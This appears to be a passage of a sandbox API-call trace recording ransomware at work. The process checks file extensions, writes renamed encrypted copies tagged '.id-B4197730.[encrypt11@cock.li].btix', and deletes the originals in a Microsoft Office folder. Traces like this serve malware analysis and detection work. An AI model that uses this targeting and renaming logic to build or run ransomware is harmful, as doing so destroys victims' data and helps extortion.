returned 1 [0156.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0156.966] lstrlenW (lpString=".zip") returned 4 [0156.966] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.966] lstrlenW (lpString=".rar") returned 4 [0156.966] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.966] lstrlenW (lpString=".bz2") returned 4 [0156.967] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.967] lstrlenW (lpString=".7z") returned 3 [0156.967] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0156.967] lstrlenW (lpString=".dbf") returned 4 [0156.967] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0156.967] lstrlenW (lpString=".1cd") returned 4 [0156.967] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0156.967] lstrlenW (lpString=".jpg") returned 4 [0156.967] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0156.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0156.967] lstrlenW (lpString=".doc") returned 4 [0156.967] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.967] lstrlenW (lpString=".docx") returned 5 [0156.967] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.967] lstrlenW (lpString=".pdf") returned 4 [0156.967] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.967] lstrlenW (lpString=".xls") returned 4 [0156.967] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.967] lstrlenW (lpString=".xlsx") returned 5 [0156.967] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.967] lstrlenW (lpString=".ppt") returned 4 [0156.967] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0156.967] lstrlenW (lpString=".zip") returned 4 [0156.967] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.967] lstrlenW (lpString=".rar") returned 4 [0156.967] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.967] lstrlenW (lpString=".bz2") returned 4 [0156.967] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.967] lstrlenW (lpString=".7z") returned 3 [0156.967] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0156.968] lstrlenW (lpString=".dbf") returned 4 [0156.968] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0156.968] lstrlenW (lpString=".1cd") returned 4 [0156.968] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0156.968] lstrlenW (lpString=".jpg") returned 4 [0156.968] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.968] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0156.968] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33 [0156.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0156.968] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=70848) returned 1 [0156.968] CloseHandle (hObject=0x34c) returned 1 [0156.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x220 [0156.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0156.969] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.969] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0156.969] GetLastError () returned 0x0 [0156.969] ReadFile (in: hFile=0x34c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x114c0, lpOverlapped=0x0) returned 1 [0156.972] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x114d0, lpOverlapped=0x0) returned 1 [0156.973] ReadFile (in: hFile=0x34c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.973] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x116, lpOverlapped=0x0) returned 1 [0156.974] SetEndOfFile (hFile=0x390) returned 1 [0156.974] CloseHandle (hObject=0x390) returned 1 [0156.974] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.974] SetEndOfFile (hFile=0x34c) returned 1 [0156.975] CloseHandle (hObject=0x34c) returned 1 [0156.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll")) returned 1 [0156.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0156.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0156.976] lstrlenW (lpString=".doc") returned 4 [0156.976] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.976] lstrlenW (lpString=".docx") returned 5 [0156.976] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.976] lstrlenW (lpString=".pdf") returned 4 [0156.976] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.976] lstrlenW (lpString=".xls") returned 4 [0156.976] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.976] lstrlenW (lpString=".xlsx") returned 5 [0156.976] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.976] lstrlenW (lpString=".ppt") returned 4 [0156.976] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0156.976] lstrlenW (lpString=".zip") returned 4 [0156.976] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.976] lstrlenW (lpString=".rar") returned 4 [0156.976] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.976] lstrlenW (lpString=".bz2") returned 4 [0156.976] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.976] lstrlenW (lpString=".7z") returned 3 [0156.976] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0156.976] lstrlenW (lpString=".dbf") returned 4 [0156.976] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0156.976] lstrlenW (lpString=".1cd") returned 4 [0156.976] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0156.976] lstrlenW (lpString=".jpg") returned 4 [0156.976] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0156.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0156.976] lstrlenW (lpString=".doc") returned 4 [0156.976] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.977] lstrlenW (lpString=".docx") returned 5 [0156.977] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.977] lstrlenW (lpString=".pdf") returned 4 [0156.977] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.977] lstrlenW (lpString=".xls") returned 4 [0156.977] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.977] lstrlenW (lpString=".xlsx") returned 5 [0156.977] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.977] lstrlenW (lpString=".ppt") returned 4 [0156.977] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0156.977] lstrlenW (lpString=".zip") returned 4 [0156.977] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.977] lstrlenW (lpString=".rar") returned 4 [0156.977] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.977] lstrlenW (lpString=".bz2") returned 4 [0156.977] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.977] lstrlenW (lpString=".7z") returned 3 [0156.977] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0156.977] lstrlenW (lpString=".dbf") returned 4 [0156.977] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0156.977] lstrlenW (lpString=".1cd") returned 4 [0156.977] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0156.977] lstrlenW (lpString=".jpg") returned 4 [0156.977] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.978] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0156.978] lstrlenW (lpString="api-ms-win-crt-process-l1-1-0.dll") returned 33 [0156.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0156.978] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=19648) returned 1 [0156.978] CloseHandle (hObject=0x34c) returned 1 [0156.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x220 [0156.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0156.978] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.978] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0156.979] GetLastError () returned 0x0 [0156.979] ReadFile (in: hFile=0x34c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0157.272] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0157.273] ReadFile (in: hFile=0x34c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.273] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x116, lpOverlapped=0x0) returned 1 [0157.274] SetEndOfFile (hFile=0x390) returned 1 [0157.274] CloseHandle (hObject=0x390) returned 1 [0157.274] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.274] SetEndOfFile (hFile=0x34c) returned 1 [0157.275] CloseHandle (hObject=0x34c) returned 1 [0157.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll")) returned 1 [0157.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0157.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0157.275] lstrlenW (lpString=".doc") returned 4 [0157.275] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.275] lstrlenW (lpString=".docx") returned 5 [0157.275] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.275] lstrlenW (lpString=".pdf") returned 4 [0157.275] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.275] lstrlenW (lpString=".xls") returned 4 [0157.275] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.275] lstrlenW (lpString=".xlsx") returned 5 [0157.275] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.275] lstrlenW (lpString=".ppt") returned 4 [0157.275] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0157.276] lstrlenW (lpString=".zip") returned 4 [0157.276] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.276] lstrlenW (lpString=".rar") returned 4 [0157.276] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.276] lstrlenW (lpString=".bz2") returned 4 [0157.276] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.276] lstrlenW (lpString=".7z") returned 3 [0157.276] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0157.276] lstrlenW (lpString=".dbf") returned 4 [0157.276] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0157.276] lstrlenW (lpString=".1cd") returned 4 [0157.276] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0157.276] lstrlenW (lpString=".jpg") returned 4 [0157.276] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0157.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0157.276] lstrlenW (lpString=".doc") returned 4 [0157.276] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.276] lstrlenW (lpString=".docx") returned 5 [0157.276] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.276] lstrlenW (lpString=".pdf") returned 4 [0157.276] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.276] lstrlenW (lpString=".xls") returned 4 [0157.276] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.276] lstrlenW (lpString=".xlsx") returned 5 [0157.276] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.276] lstrlenW (lpString=".ppt") returned 4 [0157.276] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0157.276] lstrlenW (lpString=".zip") returned 4 [0157.277] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.277] lstrlenW (lpString=".rar") returned 4 [0157.277] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.277] lstrlenW (lpString=".bz2") returned 4 [0157.277] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.277] lstrlenW (lpString=".7z") returned 3 [0157.277] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0157.277] lstrlenW (lpString=".dbf") returned 4 [0157.277] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0157.277] lstrlenW (lpString=".1cd") returned 4 [0157.277] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0157.277] lstrlenW (lpString=".jpg") returned 4 [0157.277] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.277] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0157.277] lstrlenW (lpString="C2R32.dll") returned 9 [0157.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0157.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0157.277] lstrlenW (lpString=".doc") returned 4 [0157.277] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.277] lstrlenW (lpString=".docx") returned 5 [0157.277] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0157.277] lstrlenW (lpString=".pdf") returned 4 [0157.277] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.277] lstrlenW (lpString=".xls") returned 4 [0157.278] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.278] lstrlenW (lpString=".xlsx") returned 5 [0157.278] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0157.278] lstrlenW (lpString=".ppt") returned 4 [0157.278] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0157.278] lstrlenW (lpString=".zip") returned 4 [0157.278] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.278] lstrlenW (lpString=".rar") returned 4 [0157.278] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.278] lstrlenW (lpString=".bz2") returned 4 [0157.278] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.278] lstrlenW (lpString=".7z") returned 3 [0157.278] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0157.278] lstrlenW (lpString=".dbf") returned 4 [0157.278] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0157.278] lstrlenW (lpString=".1cd") returned 4 [0157.278] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0157.278] lstrlenW (lpString=".jpg") returned 4 [0157.278] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0157.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0157.278] lstrlenW (lpString=".doc") returned 4 [0157.278] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.278] lstrlenW (lpString=".docx") returned 5 [0157.278] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0157.278] lstrlenW (lpString=".pdf") returned 4 [0157.278] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.278] lstrlenW (lpString=".xls") returned 4 [0157.278] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.278] lstrlenW (lpString=".xlsx") returned 5 [0157.279] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0157.279] lstrlenW (lpString=".ppt") returned 4 [0157.279] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0157.279] lstrlenW (lpString=".zip") returned 4 [0157.279] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.279] lstrlenW (lpString=".rar") returned 4 [0157.279] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.279] lstrlenW (lpString=".bz2") returned 4 [0157.279] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.279] lstrlenW (lpString=".7z") returned 3 [0157.279] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0157.279] lstrlenW (lpString=".dbf") returned 4 [0157.279] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0157.279] lstrlenW (lpString=".1cd") returned 4 [0157.279] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0157.279] lstrlenW (lpString=".jpg") returned 4 [0157.279] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.279] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0157.279] lstrlenW (lpString="C2R64.dll") returned 9 [0157.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0157.280] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=1208928) returned 1 [0157.280] CloseHandle (hObject=0x34c) returned 1 [0157.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll")) returned 0x420 [0157.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: 